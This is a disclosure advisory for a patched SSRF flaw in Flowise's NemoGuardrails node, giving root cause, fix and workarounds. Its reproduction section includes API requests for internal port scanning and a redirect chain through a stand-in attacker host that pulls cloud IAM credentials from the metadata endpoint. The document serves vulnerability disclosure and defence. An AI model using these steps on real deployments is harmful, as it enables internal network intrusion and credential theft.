Flowise

MODERATE · CWE-918 · No advisory published

NemoGuardrails Node Uses Bare fetch() with User-Controlled URL, Bypassing SSRF Protections

flowise / flowise-components (npm)
NemoClient.ts:66
CWE-918
Moderate
≤ 3.1.3
Patched
2026-06-27
Chatflow create / edit
Kira, Offgrid Security (infycore)

Flowise maintains a dedicated SSRF protection module (httpSecurity.ts) with DNS pre-resolution, private-IP blocking, redirect-chain validation, and IP pinning. It is applied to every outbound HTTP call in the codebase that touches user-influenced URLs — except one. The ChatNemoGuardrails node calls bare fetch() with a user-controlled baseUrl, bypassing all protections. An authenticated user with chatflow creation permissions can reach internal network services and cloud instance metadata endpoints.

01 Root Cause

The ChatNemoGuardrails component reads baseUrl directly from user input with no validation and passes it to NemoClient. In NemoClient.ts, line 66, the URL is used in a bare fetch() call:

// NemoClient.ts, line 66 return await fetch(`${this.config.baseUrl}/v1/chat/completions`, requestOptions) // ^^^^ bare fetch() -- bypasses all SSRF controls in httpSecurity.ts // Correct pattern used elsewhere in Flowise: return await secureFetch(`${this.config.baseUrl}/v1/chat/completions`, requestOptions) // ^^^^^^^^^^^ secureFetch() from httpSecurity.ts: // DNS pre-resolves, blocks RFC-1918, validates redirect chain
02 Reproduction

Path 1 — Internal port enumeration

# Create a chatflow with a NemoGuardrails node. # Set baseUrl to an internal address. POST /api/v1/chatflows { "nodes": [{ "type": "chatNemoGuardrails", "data": { "baseUrl": "http://10.0.0.1:6379" } }] } # Trigger a prediction. POST /api/v1/prediction/<chatflow-id> { "question": "hello" } # Error response distinguishes port states with precision: connection timeout → port filtered connection refused → port closed HTTP response → port open, HTTP service present

Path 2 — Cloud metadata credential exfiltration

# Set baseUrl to an attacker server that returns a 302 redirect to IMDS. baseUrl: http://ssrf.attacker.com # On prediction: # 1. POST http://ssrf.attacker.com/v1/chat/completions # 2. <- HTTP 302, Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/ # 3. GET http://169.254.169.254/latest/meta-data/iam/security-credentials/ # 4. <- HTTP 200, body: IAM role name # 5. GET http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name> # 6. <- HTTP 200, body: AccessKeyId, SecretAccessKey, Token
03 Impact

Any internal HTTP service reachable from the Flowise host is accessible: databases, caches, the Kubernetes API server, Ollama, internal admin interfaces. On cloud deployments with IMDSv1 enabled, the redirect-chain attack yields temporary IAM credentials with the permissions of the Flowise host’s role.

Auth required: chatflow creation or edit permissions. In many multi-user Flowise deployments all authenticated users can create chatflows, making the effective attack barrier low.

04 Patch Status

Flowise acknowledged the finding and thanked Offgrid Security for the report. The fix — replacing fetch( with secureFetch( on line 66 of NemoClient.ts — was merged and shipped. Flowise chose not to publish a public security advisory.

Workarounds until a patched release is available: restrict chatflow creation permissions to trusted users; deploy an egress firewall blocking RFC-1918 and link-local ranges from the Flowise host; enable IMDSv2 (token-required) on cloud instances.

05 Recommended Fix

Replace fetch( with secureFetch( from the existing httpSecurity.ts module in NemoClient.ts line 66. No new security logic is required; the infrastructure already exists.

// NemoClient.ts, line 66 -- one-line change - return await fetch(`${this.config.baseUrl}/v1/chat/completions`, requestOptions) + return await secureFetch(`${this.config.baseUrl}/v1/chat/completions`, requestOptions)

Reported to Flowise. Received thanks; finding acknowledged and patched. No formal security advisory was published. No CVE or GHSA has been assigned.